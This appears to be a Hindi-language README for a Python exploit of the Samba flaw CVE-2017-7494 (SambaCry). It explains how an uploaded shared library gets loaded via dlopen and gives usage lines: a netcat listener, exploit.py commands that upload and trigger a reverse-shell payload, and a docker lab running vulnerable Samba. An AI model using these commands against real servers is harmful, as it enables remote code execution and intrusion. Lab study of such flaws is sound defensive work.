
CVE-2017-7494 (SambaCry) के लिए Python एक्सप्लॉइट, जो Samba शेयर पर एक दुर्भावनापूर्ण साझा लाइब्रेरी अपलोड करके और उसके dlopen लोड को ट्रिगर करके प्रमाणित रिमोट कोड निष्पादन प्रदर्शित करता है।
CVE-2017-7494/SambaCry प्रमाणित उपयोगकर्ताओं को एक शेयर्ड लाइब्रेरी को एक लिखने-योग्य फ़ोल्डर में अपलोड करने और अपलोड की गई लाइब्रेरी का उपयोग करके निष्पादन हमला करने की अनुमति देता है।
SambaCry एक पथ-सत्यापन भेद्यता है जो Samba द्वारा named-pipe अनुरोधों को संभालने के तरीके में होती है। आमतौर पर ये पाइप्स प्रोग्रामों को एक फाइल-जैसे चैनल के माध्यम से डेटा पढ़ने और लिखने के द्वारा एक-दूसरे के साथ संवाद करने देने के लिए उपयोग किए जाते हैं।
जब Samba को कोई अज्ञात पाइप नाम प्राप्त होता है, तो असुरक्षित संस्करण इसे एक डायनामिक रूप से लोड होने योग्य मॉड्यूल के नाम के रूप में मान सकते हैं।
वे मॉड्यूल आमतौर पर व्यवस्थापक द्वारा स्थापित वैध .so लाइब्रेरी होते हैं।
यह भेद्यता किसी क्लाइंट को सामान्य मॉड्यूल या पाइप नाम के बजाय एक पूर्ण फाइलसिस्टम पथ प्रदान करने की अनुमति देती है। Samba इस पथ को ठीक से प्रतिबंधित नहीं करता है और प्रभावी रूप से यह कर सकता है: dlopen("/data/example.so", ...);।
शेयर्ड लाइब्रेरी लोड करने से इसका इनिशियलाइज़ेशन कोड निष्पादित होता है। इसलिए, एक हमलावर जो किसी लिखने-योग्य स्थान पर एक दुर्भावनापूर्ण .so फाइल अपलोड कर सकता है, वह Samba सेवा से उसे लोड करवा सकता है, जिसके परिणामस्वरूप रिमोट कोड निष्पादन होता है।
https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010
nc -lvnp 4444
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so
पहले से अपलोड किए गए पेलोड को ट्रिगर करने के लिए:
python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
पूर्व-निर्मित docker-compose.yml का उपयोग करके असुरक्षित लैब को प्रारंभ करें।
docker compose up -d
यह लैब Samba 4.5.9 का उपयोग करता है। जो इस भेद्यता के प्रति संवेदनशील है।
3.5.0 - 4.4.13 4.5.0 - 4.5.9 4.6.0 - 4.6.3